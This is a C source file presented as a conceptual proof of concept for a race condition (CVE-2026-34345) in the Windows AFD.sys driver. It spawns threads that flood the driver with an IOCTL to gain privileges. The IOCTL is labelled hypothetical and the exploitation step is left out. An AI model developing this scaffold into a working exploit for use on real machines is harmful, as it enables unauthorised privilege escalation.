/*
* Conceptual Proof of Concept for CVE-2026-34345
* This code demonstrates the threading mechanism to trigger a race condition.
* Target: AFD.sys
*/
#include <windows.h>
#include <stdio.h>
#define VULNERABLE_IOCTL 0x00012024 // Hypothetical IOCTL for AFD
HANDLE hDevice;
BOOL trigger = FALSE;
DWORD WINAPI RaceThread(LPVOID lpParam) {
DWORD bytesReturned;
CHAR inputBuffer[0x20] = {0};
CHAR outputBuffer[0x20] = {0};
// Wait for the signal to start the race
while (!trigger) {
Sleep(1);
}
// Send malicious IOCTL to trigger the race window in the driver
DeviceIoControl(hDevice, VULNERABLE_IOCTL, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
return 0;
}
DWORD WINAPI ExploitThread(LPVOID lpParam) {
// Wait for the signal
while (!trigger) {
Sleep(1);
}
// Perform operations to corrupt state during the race window
// (e.g., freeing an object or modifying memory)
Sleep(5); // Small delay to attempt to hit the window
// ... exploitation logic ...
return 0;
}
int main() {
// Open a handle to the AFD device
hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open AFD device. Error: %d\n", GetLastError());
return 1;
}
printf("[+] Opened handle to AFD device\n");
HANDLE threads[20];
// Create multiple threads to increase chances of hitting the race condition
for (int i = 0; i < 10; i++) {
threads[i] = CreateThread(NULL, 0, RaceThread, NULL, 0, NULL);
threads[i+10] = CreateThread(NULL, 0, ExploitThread, NULL, 0, NULL);
}
printf("[*] Starting race condition attack...\n");
trigger = TRUE; // Signal all threads to go
WaitForMultipleObjects(20, threads, TRUE, INFINITE);
printf("[*] Attack finished. Check privileges.\n");
CloseHandle(hDevice);
return 0;
}